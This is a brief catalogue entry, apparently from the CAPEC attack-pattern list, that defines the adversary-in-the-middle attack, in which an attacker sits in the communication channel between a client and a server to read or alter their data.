CAPEC-94: Adversary in the Middle (AiTM)

An adversary targets the communication between two components (typically client and server), in order to alter or obtain data from transactions. A general approach entails the adversary placing themself within the communication channel between the two components.